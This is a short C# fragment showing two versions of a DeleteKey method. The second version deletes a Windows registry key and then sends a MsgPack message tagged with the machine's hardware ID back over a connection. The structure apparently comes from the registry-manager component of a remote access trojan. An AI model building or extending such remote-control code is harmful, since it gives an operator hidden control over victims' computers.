public void DeleteKey(string KeyName, string ParentPath) { string errorMsg; try { RegistryEditor.DeleteRegistryKey(KeyName, ParentPath, out errorMsg); } catch (Exception ex) { Packet.Error(ex.Message); } }
public void DeleteKey(string KeyName, string ParentPath) { string errorMsg; try { RegistryEditor.DeleteRegistryKey(KeyName, ParentPath, out errorMsg); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("Command").AsString = "DeleteKey"; msgpack.ForcePathObject("ParentPath").AsString = ParentPath; msgpack.ForcePathObject("KeyName").AsString = KeyName; Connection.Send(msgpack.Encode2Bytes()); } catch (Exception ex) { Packet.Error(ex.Message); } }